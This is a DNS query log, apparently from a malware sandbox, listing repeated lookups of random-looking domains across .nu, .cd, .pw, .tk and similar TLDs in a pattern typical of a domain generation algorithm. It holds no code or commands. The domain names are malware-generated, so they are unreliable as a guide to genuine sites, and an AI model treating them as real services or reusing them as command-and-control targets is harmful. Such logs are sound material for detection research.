Jan 5, 2025 10:48:02.219578981 CET	192.168.2.4	1.1.1.1	0x3c5e	Standard query (0)	icipvzhhpwa.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.334842920 CET	192.168.2.4	1.1.1.1	0x9bdb	Standard query (0)	gbkymuj.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.348864079 CET	192.168.2.4	1.1.1.1	0x5203	Standard query (0)	gbkymuj.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.479657888 CET	192.168.2.4	1.1.1.1	0x4b04	Standard query (0)	kgzyvmdjsn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.494726896 CET	192.168.2.4	1.1.1.1	0x8ff9	Standard query (0)	kgzyvmdjsn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.616353035 CET	192.168.2.4	1.1.1.1	0x79c2	Standard query (0)	aekcsa.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.628736019 CET	192.168.2.4	1.1.1.1	0x7a4	Standard query (0)	aekcsa.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.756750107 CET	192.168.2.4	1.1.1.1	0x5a0d	Standard query (0)	auisqbzkoyr.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:02.852348089 CET	192.168.2.4	1.1.1.1	0xfcc	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:03.694324970 CET	192.168.2.4	1.1.1.1	0xeb17	Standard query (0)	qojuhafm.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:03.819408894 CET	192.168.2.4	1.1.1.1	0x5f72	Standard query (0)	qojuhafm.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.046010971 CET	192.168.2.4	1.1.1.1	0x29dc	Standard query (0)	mscwiycwe.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.084638119 CET	192.168.2.4	1.1.1.1	0x6b33	Standard query (0)	mscwiycwe.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.223999977 CET	192.168.2.4	1.1.1.1	0xb2b9	Standard query (0)	gomzzwswgg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.661737919 CET	192.168.2.4	1.1.1.1	0x8a5e	Standard query (0)	gomzzwswgg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.772356033 CET	192.168.2.4	1.1.1.1	0x8d12	Standard query (0)	rgyipscsoc.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.805583954 CET	192.168.2.4	1.1.1.1	0x2b3e	Standard query (0)	rgyipscsoc.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:04.975765944 CET	192.168.2.4	1.1.1.1	0x4d60	Standard query (0)	owiioe.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:05.853116989 CET	192.168.2.4	1.1.1.1	0xad9f	Standard query (0)	owiioe.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.241604090 CET	192.168.2.4	1.1.1.1	0x9037	Standard query (0)	vaeoiuujwouuqi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.259890079 CET	192.168.2.4	1.1.1.1	0x5c13	Standard query (0)	vaeoiuujwouuqi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.383393049 CET	192.168.2.4	1.1.1.1	0x4c2b	Standard query (0)	hifbo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.426449060 CET	192.168.2.4	1.1.1.1	0xd899	Standard query (0)	hifbo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:06.538491011 CET	192.168.2.4	1.1.1.1	0x2d99	Standard query (0)	haeumyhfmk.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.397795916 CET	192.168.2.4	1.1.1.1	0xe776	Standard query (0)	erendacm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.518898964 CET	192.168.2.4	1.1.1.1	0x59c4	Standard query (0)	erendacm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.647507906 CET	192.168.2.4	1.1.1.1	0xbdda	Standard query (0)	rcoxqkook.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.698442936 CET	192.168.2.4	1.1.1.1	0xf13d	Standard query (0)	rcoxqkook.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.819598913 CET	192.168.2.4	1.1.1.1	0x7cc9	Standard query (0)	vuiykecqutjik.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:07.847845078 CET	192.168.2.4	1.1.1.1	0x6554	Standard query (0)	vuiykecqutjik.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.054336071 CET	192.168.2.4	1.1.1.1	0xd1c5	Standard query (0)	vmxznmaq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.067775965 CET	192.168.2.4	1.1.1.1	0xb4	Standard query (0)	vmxznmaq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.178790092 CET	192.168.2.4	1.1.1.1	0x40c8	Standard query (0)	islnimwrkuw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.190829992 CET	192.168.2.4	1.1.1.1	0xf791	Standard query (0)	islnimwrkuw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.319577932 CET	192.168.2.4	1.1.1.1	0xa680	Standard query (0)	zpkoowu.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.333455086 CET	192.168.2.4	1.1.1.1	0x20b4	Standard query (0)	zpkoowu.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.460887909 CET	192.168.2.4	1.1.1.1	0x10d9	Standard query (0)	hawquuowbgeoma.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.511032104 CET	192.168.2.4	1.1.1.1	0x3d6c	Standard query (0)	hawquuowbgeoma.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:08.663530111 CET	192.168.2.4	1.1.1.1	0x816a	Standard query (0)	vnbcxkka.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:09.445919991 CET	192.168.2.4	1.1.1.1	0xca12	Standard query (0)	vnbcxkka.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:10.335288048 CET	192.168.2.4	1.1.1.1	0x826b	Standard query (0)	mcloueaqw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:10.528004885 CET	192.168.2.4	1.1.1.1	0xabf3	Standard query (0)	mcloueaqw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:11.585330009 CET	192.168.2.4	1.1.1.1	0x76aa	Standard query (0)	rellwylicsequu.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:12.194746017 CET	192.168.2.4	1.1.1.1	0x3da1	Standard query (0)	kzkvmrexo.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:12.850814104 CET	192.168.2.4	1.1.1.1	0xb15f	Standard query (0)	vffamcmmuoln.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:13.298912048 CET	192.168.2.4	1.1.1.1	0xfb77	Standard query (0)	vffamcmmuoln.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:13.444700956 CET	192.168.2.4	1.1.1.1	0x2430	Standard query (0)	xpyodicoino.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:13.458363056 CET	192.168.2.4	1.1.1.1	0x1	Standard query (0)	xpyodicoino.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.111449957 CET	192.168.2.4	1.1.1.1	0xb57e	Standard query (0)	xpyodicoino.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.304143906 CET	192.168.2.4	1.1.1.1	0x397d	Standard query (0)	nrcwikf.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.315247059 CET	192.168.2.4	1.1.1.1	0x7576	Standard query (0)	nrcwikf.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.428807974 CET	192.168.2.4	1.1.1.1	0xe9dc	Standard query (0)	ahytmdoczuaog.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:14.620279074 CET	192.168.2.4	1.1.1.1	0x9289	Standard query (0)	ahytmdoczuaog.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:15.585469007 CET	192.168.2.4	1.1.1.1	0xd72b	Standard query (0)	lwexogq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:15.772588015 CET	192.168.2.4	1.1.1.1	0x8cca	Standard query (0)	lwexogq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:15.976587057 CET	192.168.2.4	1.1.1.1	0xcda9	Standard query (0)	mwjukuo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:16.061806917 CET	192.168.2.4	1.1.1.1	0x4bd0	Standard query (0)	mwjukuo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:16.533437967 CET	192.168.2.4	1.1.1.1	0xfc2	Standard query (0)	aaaeneuzmgm.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:17.258517027 CET	192.168.2.4	1.1.1.1	0x5dec	Standard query (0)	fmgnw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:17.327724934 CET	192.168.2.4	1.1.1.1	0xa367	Standard query (0)	fmgnw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:17.447211981 CET	192.168.2.4	1.1.1.1	0x368d	Standard query (0)	ymoxwne.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.085176945 CET	192.168.2.4	1.1.1.1	0x722a	Standard query (0)	uzwnaownuu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.125901937 CET	192.168.2.4	1.1.1.1	0xbd05	Standard query (0)	uzwnaownuu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.272743940 CET	192.168.2.4	1.1.1.1	0xe21e	Standard query (0)	ptgmg.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.866425037 CET	192.168.2.4	1.1.1.1	0x3eb5	Standard query (0)	qyzmmqlgp.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:18.899382114 CET	192.168.2.4	1.1.1.1	0xac78	Standard query (0)	qyzmmqlgp.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.132637024 CET	192.168.2.4	1.1.1.1	0x2c96	Standard query (0)	xzwsa.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.144134045 CET	192.168.2.4	1.1.1.1	0x448a	Standard query (0)	xzwsa.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.257822037 CET	192.168.2.4	1.1.1.1	0x1886	Standard query (0)	qmikaniayyn.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.866354942 CET	192.168.2.4	1.1.1.1	0xb72b	Standard query (0)	uistaqeeb.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:19.918126106 CET	192.168.2.4	1.1.1.1	0x19c4	Standard query (0)	uistaqeeb.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.039732933 CET	192.168.2.4	1.1.1.1	0x7288	Standard query (0)	naekiysm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.054143906 CET	192.168.2.4	1.1.1.1	0x5944	Standard query (0)	naekiysm.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.178836107 CET	192.168.2.4	1.1.1.1	0x6967	Standard query (0)	zaeuc.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.866384029 CET	192.168.2.4	1.1.1.1	0x9a41	Standard query (0)	hucunewyac.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:20.887653112 CET	192.168.2.4	1.1.1.1	0x8025	Standard query (0)	hucunewyac.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.007498980 CET	192.168.2.4	1.1.1.1	0xd0d0	Standard query (0)	fsifaecvb.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.046180964 CET	192.168.2.4	1.1.1.1	0x9bf0	Standard query (0)	fsifaecvb.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.194613934 CET	192.168.2.4	1.1.1.1	0x3c8a	Standard query (0)	cclcxxiyi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.211143970 CET	192.168.2.4	1.1.1.1	0xaa92	Standard query (0)	cclcxxiyi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.351149082 CET	192.168.2.4	1.1.1.1	0xe212	Standard query (0)	muilsaopx.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:21.633830070 CET	192.168.2.4	1.1.1.1	0xbfb	Standard query (0)	muilsaopx.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.022958994 CET	192.168.2.4	1.1.1.1	0xdfad	Standard query (0)	hcxhhucwr.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.061717987 CET	192.168.2.4	1.1.1.1	0xa4f3	Standard query (0)	hcxhhucwr.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.241508961 CET	192.168.2.4	1.1.1.1	0x8324	Standard query (0)	nsgcio.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.866372108 CET	192.168.2.4	1.1.1.1	0x57c3	Standard query (0)	kcqwigjkphosw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:22.965192080 CET	192.168.2.4	1.1.1.1	0x50e5	Standard query (0)	kcqwigjkphosw.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.163202047 CET	192.168.2.4	1.1.1.1	0x5cb4	Standard query (0)	aydfeaea.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.192007065 CET	192.168.2.4	1.1.1.1	0x65d5	Standard query (0)	aydfeaea.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.303716898 CET	192.168.2.4	1.1.1.1	0xec85	Standard query (0)	ogaywmfoo.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.355046034 CET	192.168.2.4	1.1.1.1	0xcc4a	Standard query (0)	ogaywmfoo.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.725696087 CET	192.168.2.4	1.1.1.1	0x811b	Standard query (0)	iagwx.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.738812923 CET	192.168.2.4	1.1.1.1	0x7342	Standard query (0)	iagwx.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.850800991 CET	192.168.2.4	1.1.1.1	0xd48d	Standard query (0)	ffwuiyk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:23.863837957 CET	192.168.2.4	1.1.1.1	0xfe43	Standard query (0)	ffwuiyk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.007076025 CET	192.168.2.4	1.1.1.1	0x3c2c	Standard query (0)	yoifw.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.018836975 CET	192.168.2.4	1.1.1.1	0x5c4	Standard query (0)	yoifw.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.133593082 CET	192.168.2.4	1.1.1.1	0xa3c1	Standard query (0)	rogexncokusyud.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.164334059 CET	192.168.2.4	1.1.1.1	0x4d53	Standard query (0)	rogexncokusyud.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.288395882 CET	192.168.2.4	1.1.1.1	0xda58	Standard query (0)	cpjcukm.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.396433115 CET	192.168.2.4	1.1.1.1	0x7f78	Standard query (0)	cpjcukm.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.616240025 CET	192.168.2.4	1.1.1.1	0x896b	Standard query (0)	iedhsegnq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.738573074 CET	192.168.2.4	1.1.1.1	0x1ee1	Standard query (0)	iedhsegnq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:24.975728989 CET	192.168.2.4	1.1.1.1	0x91ad	Standard query (0)	qaqqiwicary.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.600864887 CET	192.168.2.4	1.1.1.1	0x7a30	Standard query (0)	seuicsinj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.707463980 CET	192.168.2.4	1.1.1.1	0x5145	Standard query (0)	seuicsinj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.928869009 CET	192.168.2.4	1.1.1.1	0xbaa0	Standard query (0)	ydeom.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:25.947937965 CET	192.168.2.4	1.1.1.1	0xaa2e	Standard query (0)	ydeom.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.085269928 CET	192.168.2.4	1.1.1.1	0xa10	Standard query (0)	wbuekaymzawmca.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.117806911 CET	192.168.2.4	1.1.1.1	0xa2bf	Standard query (0)	wbuekaymzawmca.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.288177013 CET	192.168.2.4	1.1.1.1	0xf076	Standard query (0)	waivyis.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.299854040 CET	192.168.2.4	1.1.1.1	0x9879	Standard query (0)	waivyis.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.413244963 CET	192.168.2.4	1.1.1.1	0x1944	Standard query (0)	cacewsiqbiv.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.426954985 CET	192.168.2.4	1.1.1.1	0x4bed	Standard query (0)	cacewsiqbiv.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:26.553949118 CET	192.168.2.4	1.1.1.1	0x8cfb	Standard query (0)	gommacaqfdcg.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:27.210282087 CET	192.168.2.4	1.1.1.1	0xffc4	Standard query (0)	ykycgmq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:27.483740091 CET	192.168.2.4	1.1.1.1	0x738b	Standard query (0)	ykycgmq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:27.632009983 CET	192.168.2.4	1.1.1.1	0xb834	Standard query (0)	iywejakceat.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:28.241702080 CET	192.168.2.4	1.1.1.1	0xe2c3	Standard query (0)	icgxiaiilmc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:28.378046036 CET	192.168.2.4	1.1.1.1	0xe7cf	Standard query (0)	icgxiaiilmc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:28.617360115 CET	192.168.2.4	1.1.1.1	0xac87	Standard query (0)	towoeqqzokbsj.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:29.241583109 CET	192.168.2.4	1.1.1.1	0xfc8e	Standard query (0)	uokpfkc.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:29.866406918 CET	192.168.2.4	1.1.1.1	0x8c2e	Standard query (0)	tsqemjsjkmz.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:30.094007015 CET	192.168.2.4	1.1.1.1	0xd262	Standard query (0)	tsqemjsjkmz.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:30.225887060 CET	192.168.2.4	1.1.1.1	0xe5b3	Standard query (0)	ykqfmmg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:30.324332952 CET	192.168.2.4	1.1.1.1	0x6acd	Standard query (0)	ykqfmmg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.226825953 CET	192.168.2.4	1.1.1.1	0x51c9	Standard query (0)	eoholrark.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.237885952 CET	192.168.2.4	1.1.1.1	0x8ed0	Standard query (0)	eoholrark.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.350876093 CET	192.168.2.4	1.1.1.1	0xa4ea	Standard query (0)	ynaucmukkszgjz.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.367419958 CET	192.168.2.4	1.1.1.1	0x2408	Standard query (0)	ynaucmukkszgjz.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.491274118 CET	192.168.2.4	1.1.1.1	0x72ff	Standard query (0)	gvqle.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.596486092 CET	192.168.2.4	1.1.1.1	0x3c03	Standard query (0)	gvqle.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:31.819427013 CET	192.168.2.4	1.1.1.1	0x2941	Standard query (0)	sgojwgigbmm.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.444983006 CET	192.168.2.4	1.1.1.1	0x47	Standard query (0)	ubielmdhiea.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.775774002 CET	192.168.2.4	1.1.1.1	0xdf54	Standard query (0)	ubielmdhiea.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.897655964 CET	192.168.2.4	1.1.1.1	0xac0f	Standard query (0)	eqhuyuws.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:32.908406973 CET	192.168.2.4	1.1.1.1	0xe902	Standard query (0)	eqhuyuws.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:33.022660971 CET	192.168.2.4	1.1.1.1	0xb310	Standard query (0)	ucldeorkcahaq.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:33.631998062 CET	192.168.2.4	1.1.1.1	0xa565	Standard query (0)	hxyicbwo.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.257158995 CET	192.168.2.4	1.1.1.1	0xb047	Standard query (0)	sqcbew.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.467379093 CET	192.168.2.4	1.1.1.1	0xdeb7	Standard query (0)	sqcbew.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.757797956 CET	192.168.2.4	1.1.1.1	0x80a0	Standard query (0)	kulna.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.769042969 CET	192.168.2.4	1.1.1.1	0xdaae	Standard query (0)	kulna.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.882023096 CET	192.168.2.4	1.1.1.1	0x2e05	Standard query (0)	ycbwawsnkag.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:34.909105062 CET	192.168.2.4	1.1.1.1	0xc17a	Standard query (0)	ycbwawsnkag.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.085254908 CET	192.168.2.4	1.1.1.1	0x987	Standard query (0)	ysqtx.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.122457027 CET	192.168.2.4	1.1.1.1	0x5aa9	Standard query (0)	ysqtx.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.538640976 CET	192.168.2.4	1.1.1.1	0x1a16	Standard query (0)	yesjo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.575715065 CET	192.168.2.4	1.1.1.1	0xcdd6	Standard query (0)	yesjo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.741367102 CET	192.168.2.4	1.1.1.1	0xe727	Standard query (0)	bomxaug.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:35.871234894 CET	192.168.2.4	1.1.1.1	0x859f	Standard query (0)	bomxaug.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:36.007409096 CET	192.168.2.4	1.1.1.1	0xb311	Standard query (0)	crhqdmkjqac.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:36.045478106 CET	192.168.2.4	1.1.1.1	0x5b8c	Standard query (0)	crhqdmkjqac.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:36.413276911 CET	192.168.2.4	1.1.1.1	0x3f8d	Standard query (0)	yumowdaknpsouf.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.053916931 CET	192.168.2.4	1.1.1.1	0x7c63	Standard query (0)	geqtkjeem.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.346095085 CET	192.168.2.4	1.1.1.1	0xb42a	Standard query (0)	geqtkjeem.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.491391897 CET	192.168.2.4	1.1.1.1	0x868e	Standard query (0)	wkccmflfymv.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.502783060 CET	192.168.2.4	1.1.1.1	0x9b38	Standard query (0)	wkccmflfymv.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.616374016 CET	192.168.2.4	1.1.1.1	0xadfe	Standard query (0)	ogdzjlrqlov.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.629291058 CET	192.168.2.4	1.1.1.1	0x482b	Standard query (0)	ogdzjlrqlov.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:37.741422892 CET	192.168.2.4	1.1.1.1	0xd577	Standard query (0)	yggoofcgkam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:38.756513119 CET	192.168.2.4	1.1.1.1	0xd577	Standard query (0)	yggoofcgkam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:38.929387093 CET	192.168.2.4	1.1.1.1	0x241d	Standard query (0)	yggoofcgkam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.132155895 CET	192.168.2.4	1.1.1.1	0x4f4a	Standard query (0)	qwosc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.194305897 CET	192.168.2.4	1.1.1.1	0xf76	Standard query (0)	qwosc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.382114887 CET	192.168.2.4	1.1.1.1	0x9a92	Standard query (0)	yyggkyhx.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.436918974 CET	192.168.2.4	1.1.1.1	0x8afc	Standard query (0)	yyggkyhx.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.633502007 CET	192.168.2.4	1.1.1.1	0xf0ad	Standard query (0)	amsiiizuhgb.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.657216072 CET	192.168.2.4	1.1.1.1	0x9e2d	Standard query (0)	amsiiizuhgb.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:39.788582087 CET	192.168.2.4	1.1.1.1	0x2f76	Standard query (0)	wapuqgaoumwzq.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:40.397706032 CET	192.168.2.4	1.1.1.1	0x1745	Standard query (0)	qjarkqakyeq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:40.427326918 CET	192.168.2.4	1.1.1.1	0x2336	Standard query (0)	qjarkqakyeq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:40.538981915 CET	192.168.2.4	1.1.1.1	0x62e4	Standard query (0)	kunlovnoc.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.147847891 CET	192.168.2.4	1.1.1.1	0x9083	Standard query (0)	iripzvqcf.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.185328960 CET	192.168.2.4	1.1.1.1	0x7e32	Standard query (0)	iripzvqcf.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.319827080 CET	192.168.2.4	1.1.1.1	0xe4d1	Standard query (0)	oqryiicdajaf.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.373980045 CET	192.168.2.4	1.1.1.1	0xf9e6	Standard query (0)	oqryiicdajaf.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.507122993 CET	192.168.2.4	1.1.1.1	0xfc8f	Standard query (0)	tkarbo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.638329029 CET	192.168.2.4	1.1.1.1	0x9fce	Standard query (0)	tkarbo.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.772938967 CET	192.168.2.4	1.1.1.1	0xa88c	Standard query (0)	kdywwgpev.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.794482946 CET	192.168.2.4	1.1.1.1	0xfeb9	Standard query (0)	kdywwgpev.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:41.913886070 CET	192.168.2.4	1.1.1.1	0x1259	Standard query (0)	ojomdccmi.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:42.522694111 CET	192.168.2.4	1.1.1.1	0x15fe	Standard query (0)	fwwclcmvsyatw.vg	A (IP address)	IN (0x0001)	false
